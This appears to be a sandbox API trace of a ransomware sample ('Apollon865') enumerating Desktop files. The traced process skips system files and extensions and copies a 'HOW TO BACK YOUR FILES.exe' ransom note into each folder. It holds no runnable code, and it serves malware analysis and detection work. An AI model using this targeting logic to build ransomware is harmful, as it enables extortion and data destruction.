	[0040.669] lstrcmpiW (lpString1="kdgx-OCiYW1g-lH5QqGH.png", lpString2=".dll") returned 1
	[0040.669] lstrlenW (lpString=".lnk") returned 4
	[0040.669] lstrcmpiW (lpString1="kdgx-OCiYW1g-lH5QqGH.png", lpString2=".lnk") returned 1
	[0040.669] lstrlenW (lpString=".ini") returned 4
	[0040.669] lstrcmpiW (lpString1="kdgx-OCiYW1g-lH5QqGH.png", lpString2=".ini") returned 1
	[0040.669] lstrlenW (lpString=".sys") returned 4
	[0040.669] lstrcmpiW (lpString1="kdgx-OCiYW1g-lH5QqGH.png", lpString2=".sys") returned 1
	[0040.669] lstrlenW (lpString="kdgx-OCiYW1g-lH5QqGH.png") returned 24
	[0040.669] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="kRYg6Ho.flv" | out: lpString1="kRYg6Ho.flv") returned="kRYg6Ho.flv"
	[0040.669] lstrlenW (lpString="kRYg6Ho.flv") returned 11
	[0040.669] lstrlenW (lpString="Apollon865") returned 10
	[0040.669] lstrcmpiW (lpString1="RYg6Ho.flv", lpString2="Apollon865") returned 1
	[0040.669] lstrlenW (lpString=".dll") returned 4
	[0040.669] lstrcmpiW (lpString1="kRYg6Ho.flv", lpString2=".dll") returned 1
	[0040.669] lstrlenW (lpString=".lnk") returned 4
	[0040.669] lstrcmpiW (lpString1="kRYg6Ho.flv", lpString2=".lnk") returned 1
	[0040.669] lstrlenW (lpString=".ini") returned 4
	[0040.669] lstrcmpiW (lpString1="kRYg6Ho.flv", lpString2=".ini") returned 1
	[0040.669] lstrlenW (lpString=".sys") returned 4
	[0040.669] lstrcmpiW (lpString1="kRYg6Ho.flv", lpString2=".sys") returned 1
	[0040.669] lstrlenW (lpString="kRYg6Ho.flv") returned 11
	[0040.669] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="lGCJ1PoBdCwwxt-qP.swf" | out: lpString1="lGCJ1PoBdCwwxt-qP.swf") returned="lGCJ1PoBdCwwxt-qP.swf"
	[0040.669] lstrlenW (lpString="lGCJ1PoBdCwwxt-qP.swf") returned 21
	[0040.669] lstrlenW (lpString="Apollon865") returned 10
	[0040.669] lstrcmpiW (lpString1="wxt-qP.swf", lpString2="Apollon865") returned 1
	[0040.669] lstrlenW (lpString=".dll") returned 4
	[0040.669] lstrcmpiW (lpString1="lGCJ1PoBdCwwxt-qP.swf", lpString2=".dll") returned 1
	[0040.669] lstrlenW (lpString=".lnk") returned 4
	[0040.669] lstrcmpiW (lpString1="lGCJ1PoBdCwwxt-qP.swf", lpString2=".lnk") returned 1
	[0040.669] lstrlenW (lpString=".ini") returned 4
	[0040.669] lstrcmpiW (lpString1="lGCJ1PoBdCwwxt-qP.swf", lpString2=".ini") returned 1
	[0040.670] lstrlenW (lpString=".sys") returned 4
	[0040.670] lstrcmpiW (lpString1="lGCJ1PoBdCwwxt-qP.swf", lpString2=".sys") returned 1
	[0040.670] lstrlenW (lpString="lGCJ1PoBdCwwxt-qP.swf") returned 21
	[0040.670] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="lI2BDGMwAcZ9r.wav" | out: lpString1="lI2BDGMwAcZ9r.wav") returned="lI2BDGMwAcZ9r.wav"
	[0040.670] lstrlenW (lpString="lI2BDGMwAcZ9r.wav") returned 17
	[0040.670] lstrlenW (lpString="Apollon865") returned 10
	[0040.670] lstrcmpiW (lpString1="wAcZ9r.wav", lpString2="Apollon865") returned 1
	[0040.670] lstrlenW (lpString=".dll") returned 4
	[0040.670] lstrcmpiW (lpString1="lI2BDGMwAcZ9r.wav", lpString2=".dll") returned 1
	[0040.670] lstrlenW (lpString=".lnk") returned 4
	[0040.670] lstrcmpiW (lpString1="lI2BDGMwAcZ9r.wav", lpString2=".lnk") returned 1
	[0040.670] lstrlenW (lpString=".ini") returned 4
	[0040.670] lstrcmpiW (lpString1="lI2BDGMwAcZ9r.wav", lpString2=".ini") returned 1
	[0040.670] lstrlenW (lpString=".sys") returned 4
	[0040.670] lstrcmpiW (lpString1="lI2BDGMwAcZ9r.wav", lpString2=".sys") returned 1
	[0040.670] lstrlenW (lpString="lI2BDGMwAcZ9r.wav") returned 17
	[0040.670] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="oIPug7jficDekAR.mp3" | out: lpString1="oIPug7jficDekAR.mp3") returned="oIPug7jficDekAR.mp3"
	[0040.670] lstrlenW (lpString="oIPug7jficDekAR.mp3") returned 19
	[0040.670] lstrlenW (lpString="Apollon865") returned 10
	[0040.670] lstrcmpiW (lpString1="cDekAR.mp3", lpString2="Apollon865") returned 1
	[0040.670] lstrlenW (lpString=".dll") returned 4
	[0040.670] lstrcmpiW (lpString1="oIPug7jficDekAR.mp3", lpString2=".dll") returned 1
	[0040.670] lstrlenW (lpString=".lnk") returned 4
	[0040.670] lstrcmpiW (lpString1="oIPug7jficDekAR.mp3", lpString2=".lnk") returned 1
	[0040.670] lstrlenW (lpString=".ini") returned 4
	[0040.670] lstrcmpiW (lpString1="oIPug7jficDekAR.mp3", lpString2=".ini") returned 1
	[0040.670] lstrlenW (lpString=".sys") returned 4
	[0040.670] lstrcmpiW (lpString1="oIPug7jficDekAR.mp3", lpString2=".sys") returned 1
	[0040.670] lstrlenW (lpString="oIPug7jficDekAR.mp3") returned 19
	[0040.670] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="PrCZ4bPosSBlIJ.flv" | out: lpString1="PrCZ4bPosSBlIJ.flv") returned="PrCZ4bPosSBlIJ.flv"
	[0040.670] lstrlenW (lpString="PrCZ4bPosSBlIJ.flv") returned 18
	[0040.670] lstrlenW (lpString="Apollon865") returned 10
	[0040.670] lstrcmpiW (lpString1="sSBlIJ.flv", lpString2="Apollon865") returned 1
	[0040.671] lstrlenW (lpString=".dll") returned 4
	[0040.671] lstrcmpiW (lpString1="PrCZ4bPosSBlIJ.flv", lpString2=".dll") returned 1
	[0040.671] lstrlenW (lpString=".lnk") returned 4
	[0040.671] lstrcmpiW (lpString1="PrCZ4bPosSBlIJ.flv", lpString2=".lnk") returned 1
	[0040.671] lstrlenW (lpString=".ini") returned 4
	[0040.671] lstrcmpiW (lpString1="PrCZ4bPosSBlIJ.flv", lpString2=".ini") returned 1
	[0040.671] lstrlenW (lpString=".sys") returned 4
	[0040.671] lstrcmpiW (lpString1="PrCZ4bPosSBlIJ.flv", lpString2=".sys") returned 1
	[0040.671] lstrlenW (lpString="PrCZ4bPosSBlIJ.flv") returned 18
	[0040.671] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="qupQREdDvXDtuUs-nT" | out: lpString1="qupQREdDvXDtuUs-nT") returned="qupQREdDvXDtuUs-nT"
	[0040.671] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0040.671] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0040.671] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0040.671] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d032790, ftCreationTime.dwHighDateTime=0x1d4cb5a, ftLastAccessTime.dwLowDateTime=0xa9dda5a0, ftLastAccessTime.dwHighDateTime=0x1d4d365, ftLastWriteTime.dwLowDateTime=0xa9dda5a0, ftLastWriteTime.dwHighDateTime=0x1d4d365, nFileSizeHigh=0x0, nFileSizeLow=0x9dee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="svIY.wav", cAlternateFileName="")) returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="Apollon865.txt.exe") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2=".") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="..") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="windows") returned -1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="bootmgr") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="temp") returned -1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="pagefile.sys") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="boot") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="ids.txt") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="ntuser.dat") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="perflogs") returned 1
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2="MSBuild") returned 1
	[0040.671] lstrlenW (lpString="svIY.wav") returned 8
	[0040.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT") returned 56
	[0040.671] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="svIY.wav" | out: lpString1="svIY.wav") returned="svIY.wav"
	[0040.671] lstrlenW (lpString="svIY.wav") returned 8
	[0040.671] lstrlenW (lpString="Apollon865") returned 10
	[0040.671] lstrlenW (lpString=".dll") returned 4
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2=".dll") returned 1
	[0040.671] lstrlenW (lpString=".lnk") returned 4
	[0040.671] lstrcmpiW (lpString1="svIY.wav", lpString2=".lnk") returned 1
	[0040.672] lstrlenW (lpString=".ini") returned 4
	[0040.672] lstrcmpiW (lpString1="svIY.wav", lpString2=".ini") returned 1
	[0040.672] lstrlenW (lpString=".sys") returned 4
	[0040.672] lstrcmpiW (lpString1="svIY.wav", lpString2=".sys") returned 1
	[0040.672] lstrlenW (lpString="svIY.wav") returned 8
	[0040.672] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="WTwds1TgrGb_2VTA.avi" | out: lpString1="WTwds1TgrGb_2VTA.avi") returned="WTwds1TgrGb_2VTA.avi"
	[0040.672] lstrlenW (lpString="WTwds1TgrGb_2VTA.avi") returned 20
	[0040.672] lstrlenW (lpString="Apollon865") returned 10
	[0040.672] lstrcmpiW (lpString1="b_2VTA.avi", lpString2="Apollon865") returned 1
	[0040.672] lstrlenW (lpString=".dll") returned 4
	[0040.672] lstrcmpiW (lpString1="WTwds1TgrGb_2VTA.avi", lpString2=".dll") returned 1
	[0040.672] lstrlenW (lpString=".lnk") returned 4
	[0040.672] lstrcmpiW (lpString1="WTwds1TgrGb_2VTA.avi", lpString2=".lnk") returned 1
	[0040.672] lstrlenW (lpString=".ini") returned 4
	[0040.672] lstrcmpiW (lpString1="WTwds1TgrGb_2VTA.avi", lpString2=".ini") returned 1
	[0040.672] lstrlenW (lpString=".sys") returned 4
	[0040.672] lstrcmpiW (lpString1="WTwds1TgrGb_2VTA.avi", lpString2=".sys") returned 1
	[0040.672] lstrlenW (lpString="WTwds1TgrGb_2VTA.avi") returned 20
	[0040.672] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="znBEge-hsE5GtVRX.wav" | out: lpString1="znBEge-hsE5GtVRX.wav") returned="znBEge-hsE5GtVRX.wav"
	[0040.672] lstrlenW (lpString="znBEge-hsE5GtVRX.wav") returned 20
	[0040.672] lstrlenW (lpString="Apollon865") returned 10
	[0040.672] lstrcmpiW (lpString1="5GtVRX.wav", lpString2="Apollon865") returned -1
	[0040.672] lstrlenW (lpString=".dll") returned 4
	[0040.672] lstrcmpiW (lpString1="znBEge-hsE5GtVRX.wav", lpString2=".dll") returned 1
	[0040.672] lstrlenW (lpString=".lnk") returned 4
	[0040.672] lstrcmpiW (lpString1="znBEge-hsE5GtVRX.wav", lpString2=".lnk") returned 1
	[0040.672] lstrlenW (lpString=".ini") returned 4
	[0040.672] lstrcmpiW (lpString1="znBEge-hsE5GtVRX.wav", lpString2=".ini") returned 1
	[0040.672] lstrlenW (lpString=".sys") returned 4
	[0040.672] lstrcmpiW (lpString1="znBEge-hsE5GtVRX.wav", lpString2=".sys") returned 1
	[0040.672] lstrlenW (lpString="znBEge-hsE5GtVRX.wav") returned 20
	[0040.672] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT"
	[0040.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0040.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0040.673] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT") returned 56
	[0040.673] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT"
	[0040.673] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.673] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qupqreddvxdtuus-nt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.683] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b172280, ftCreationTime.dwHighDateTime=0x1d4cea2, ftLastAccessTime.dwLowDateTime=0x305b1a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305b1a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.683] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.683] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.683] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.683] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b172280, ftCreationTime.dwHighDateTime=0x1d4cea2, ftLastAccessTime.dwLowDateTime=0x305b1a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305b1a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.683] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.683] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.683] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.683] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.683] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x227ed150, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x5b850750, ftLastAccessTime.dwHighDateTime=0x1d4d503, ftLastWriteTime.dwLowDateTime=0x5b850750, ftLastWriteTime.dwHighDateTime=0x1d4d503, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6MT7RF", cAlternateFileName="")) returned 1
	[0040.683] lstrcmpiW (lpString1="6MT7RF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.683] lstrcmpiW (lpString1="6MT7RF", lpString2="Apollon865.txt.exe") returned -1
	[0040.683] lstrcmpiW (lpString1="6MT7RF", lpString2=".") returned 1
	[0040.683] lstrcmpiW (lpString1="6MT7RF", lpString2="..") returned 1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="windows") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="bootmgr") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="temp") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="pagefile.sys") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="boot") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="ids.txt") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="ntuser.dat") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="perflogs") returned -1
	[0040.684] lstrcmpiW (lpString1="6MT7RF", lpString2="MSBuild") returned -1
	[0040.684] lstrlenW (lpString="6MT7RF") returned 6
	[0040.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\*") returned 58
	[0040.684] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="6MT7RF" | out: lpString1="6MT7RF") returned="6MT7RF"
	[0040.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0040.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf898
	[0040.684] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0040.684] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0480930, ftCreationTime.dwHighDateTime=0x1d4cccf, ftLastAccessTime.dwLowDateTime=0xc0671670, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0xc0671670, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0xef43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9_IQL.swf", cAlternateFileName="")) returned 1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="Apollon865.txt.exe") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2=".") returned 1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="..") returned 1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="windows") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="bootmgr") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="temp") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="pagefile.sys") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="boot") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="ids.txt") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="ntuser.dat") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="perflogs") returned -1
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2="MSBuild") returned -1
	[0040.684] lstrlenW (lpString="9_IQL.swf") returned 9
	[0040.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF") returned 63
	[0040.684] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="9_IQL.swf" | out: lpString1="9_IQL.swf") returned="9_IQL.swf"
	[0040.684] lstrlenW (lpString="9_IQL.swf") returned 9
	[0040.684] lstrlenW (lpString="Apollon865") returned 10
	[0040.684] lstrlenW (lpString=".dll") returned 4
	[0040.684] lstrcmpiW (lpString1="9_IQL.swf", lpString2=".dll") returned 1
	[0040.685] lstrlenW (lpString=".lnk") returned 4
	[0040.685] lstrcmpiW (lpString1="9_IQL.swf", lpString2=".lnk") returned 1
	[0040.685] lstrlenW (lpString=".ini") returned 4
	[0040.685] lstrcmpiW (lpString1="9_IQL.swf", lpString2=".ini") returned 1
	[0040.685] lstrlenW (lpString=".sys") returned 4
	[0040.685] lstrcmpiW (lpString1="9_IQL.swf", lpString2=".sys") returned 1
	[0040.685] lstrlenW (lpString="9_IQL.swf") returned 9
	[0040.685] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Epu0c7Wc7oOi.png" | out: lpString1="Epu0c7Wc7oOi.png") returned="Epu0c7Wc7oOi.png"
	[0040.685] lstrlenW (lpString="Epu0c7Wc7oOi.png") returned 16
	[0040.685] lstrlenW (lpString="Apollon865") returned 10
	[0040.685] lstrcmpiW (lpString1="Wc7oOi.png", lpString2="Apollon865") returned 1
	[0040.685] lstrlenW (lpString=".dll") returned 4
	[0040.685] lstrcmpiW (lpString1="Epu0c7Wc7oOi.png", lpString2=".dll") returned 1
	[0040.685] lstrlenW (lpString=".lnk") returned 4
	[0040.685] lstrcmpiW (lpString1="Epu0c7Wc7oOi.png", lpString2=".lnk") returned 1
	[0040.685] lstrlenW (lpString=".ini") returned 4
	[0040.685] lstrcmpiW (lpString1="Epu0c7Wc7oOi.png", lpString2=".ini") returned 1
	[0040.685] lstrlenW (lpString=".sys") returned 4
	[0040.685] lstrcmpiW (lpString1="Epu0c7Wc7oOi.png", lpString2=".sys") returned 1
	[0040.685] lstrlenW (lpString="Epu0c7Wc7oOi.png") returned 16
	[0040.685] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="eSprMO s.m4a" | out: lpString1="eSprMO s.m4a") returned="eSprMO s.m4a"
	[0040.685] lstrlenW (lpString="eSprMO s.m4a") returned 12
	[0040.685] lstrlenW (lpString="Apollon865") returned 10
	[0040.688] lstrcmpiW (lpString1="prMO s.m4a", lpString2="Apollon865") returned 1
	[0040.688] lstrlenW (lpString=".dll") returned 4
	[0040.688] lstrcmpiW (lpString1="eSprMO s.m4a", lpString2=".dll") returned 1
	[0040.688] lstrlenW (lpString=".lnk") returned 4
	[0040.688] lstrcmpiW (lpString1="eSprMO s.m4a", lpString2=".lnk") returned 1
	[0040.688] lstrlenW (lpString=".ini") returned 4
	[0040.688] lstrcmpiW (lpString1="eSprMO s.m4a", lpString2=".ini") returned 1
	[0040.688] lstrlenW (lpString=".sys") returned 4
	[0040.688] lstrcmpiW (lpString1="eSprMO s.m4a", lpString2=".sys") returned 1
	[0040.688] lstrlenW (lpString="eSprMO s.m4a") returned 12
	[0040.688] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="g9Fn9GPKYKrBIxtvbz0.ods" | out: lpString1="g9Fn9GPKYKrBIxtvbz0.ods") returned="g9Fn9GPKYKrBIxtvbz0.ods"
	[0040.688] lstrlenW (lpString="g9Fn9GPKYKrBIxtvbz0.ods") returned 23
	[0040.688] lstrlenW (lpString="Apollon865") returned 10
	[0040.688] lstrcmpiW (lpString1="xtvbz0.ods", lpString2="Apollon865") returned 1
	[0040.689] lstrlenW (lpString=".dll") returned 4
	[0040.689] lstrcmpiW (lpString1="g9Fn9GPKYKrBIxtvbz0.ods", lpString2=".dll") returned 1
	[0040.689] lstrlenW (lpString=".lnk") returned 4
	[0040.689] lstrcmpiW (lpString1="g9Fn9GPKYKrBIxtvbz0.ods", lpString2=".lnk") returned 1
	[0040.689] lstrlenW (lpString=".ini") returned 4
	[0040.689] lstrcmpiW (lpString1="g9Fn9GPKYKrBIxtvbz0.ods", lpString2=".ini") returned 1
	[0040.689] lstrlenW (lpString=".sys") returned 4
	[0040.689] lstrcmpiW (lpString1="g9Fn9GPKYKrBIxtvbz0.ods", lpString2=".sys") returned 1
	[0040.689] lstrlenW (lpString="g9Fn9GPKYKrBIxtvbz0.ods") returned 23
	[0040.689] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="KX4WArEOP" | out: lpString1="KX4WArEOP") returned="KX4WArEOP"
	[0040.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0040.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b9168
	[0040.689] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0040.689] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851bc860, ftCreationTime.dwHighDateTime=0x1d4cce3, ftLastAccessTime.dwLowDateTime=0xa5a6f620, ftLastAccessTime.dwHighDateTime=0x1d4cb28, ftLastWriteTime.dwLowDateTime=0xa5a6f620, ftLastWriteTime.dwHighDateTime=0x1d4cb28, nFileSizeHigh=0x0, nFileSizeLow=0xca48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K_-DqodRkY4VR9XR-J9q.mp4", cAlternateFileName="K_-DQO~1.MP4")) returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="Apollon865.txt.exe") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2=".") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="..") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="windows") returned -1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="bootmgr") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="temp") returned -1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="pagefile.sys") returned -1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="boot") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="ids.txt") returned 1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="ntuser.dat") returned -1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="perflogs") returned -1
	[0040.689] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2="MSBuild") returned -1
	[0040.689] lstrlenW (lpString="K_-DqodRkY4VR9XR-J9q.mp4") returned 24
	[0040.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\KX4WArEOP") returned 66
	[0040.689] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="K_-DqodRkY4VR9XR-J9q.mp4" | out: lpString1="K_-DqodRkY4VR9XR-J9q.mp4") returned="K_-DqodRkY4VR9XR-J9q.mp4"
	[0040.689] lstrlenW (lpString="K_-DqodRkY4VR9XR-J9q.mp4") returned 24
	[0040.689] lstrlenW (lpString="Apollon865") returned 10
	[0040.689] lstrcmpiW (lpString1="XR-J9q.mp4", lpString2="Apollon865") returned 1
	[0040.689] lstrlenW (lpString=".dll") returned 4
	[0040.690] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2=".dll") returned 1
	[0040.690] lstrlenW (lpString=".lnk") returned 4
	[0040.690] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2=".lnk") returned 1
	[0040.690] lstrlenW (lpString=".ini") returned 4
	[0040.690] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2=".ini") returned 1
	[0040.690] lstrlenW (lpString=".sys") returned 4
	[0040.690] lstrcmpiW (lpString1="K_-DqodRkY4VR9XR-J9q.mp4", lpString2=".sys") returned 1
	[0040.690] lstrlenW (lpString="K_-DqodRkY4VR9XR-J9q.mp4") returned 24
	[0040.690] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="TZ7FpZuOS8d28KF4.flv" | out: lpString1="TZ7FpZuOS8d28KF4.flv") returned="TZ7FpZuOS8d28KF4.flv"
	[0040.690] lstrlenW (lpString="TZ7FpZuOS8d28KF4.flv") returned 20
	[0040.690] lstrlenW (lpString="Apollon865") returned 10
